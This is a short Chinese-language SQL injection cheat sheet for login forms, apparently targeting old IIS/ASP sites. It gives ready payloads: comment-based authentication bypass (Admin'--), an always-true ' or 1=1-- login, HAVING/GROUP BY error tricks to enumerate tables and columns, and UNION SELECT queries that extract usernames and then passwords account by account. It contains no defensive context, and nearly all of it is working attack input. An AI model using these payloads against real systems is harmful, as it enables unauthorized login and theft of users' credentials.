1,在登陆界面中知道用户名时(比如Admin),在用户名处输入Admin'--

// SELECT * FROM User WHERE UserName='Admin'--

此时,密码被无效

2,不知道用户名时,在密码处输入  '  or 1=1--

//SELECT * FROM User WHERE UserName='' or 1=1--      恒为真

3,微软为了程序开发人员的方便,在Script执行出错时,都通过%systemroot%\WINNT\HELP\iisHelp\common\500-100.asp脚本将发生的错误传回浏览器。

在注入语句(登陆口)后输入  '  HAVING 1=1 --会报错。输出数据表名和一个段名(如UserID)

再次输入   'GROUP BY UserID HAVING 1=1-- 然后得到下一个表名。。。继续重复可得到表中所有段。

4,获取用户账号密码:

'UNION SELECT UserName,1,1,1 FROM tbUser WHERE UserName > 'a' --

出现IIS返回信息:将nvarchar 'admin' 数值转换为INT出错-----得到用户名

得到密码: ' UNION SELECT Password,1,1,1 FROM User WHERE UserName='admin'--

继续得到其它人的账户:

'UNION SELECT Password,1,1,1 FROM User WHERE UserName > 'admin'--

重复替换admin位置即可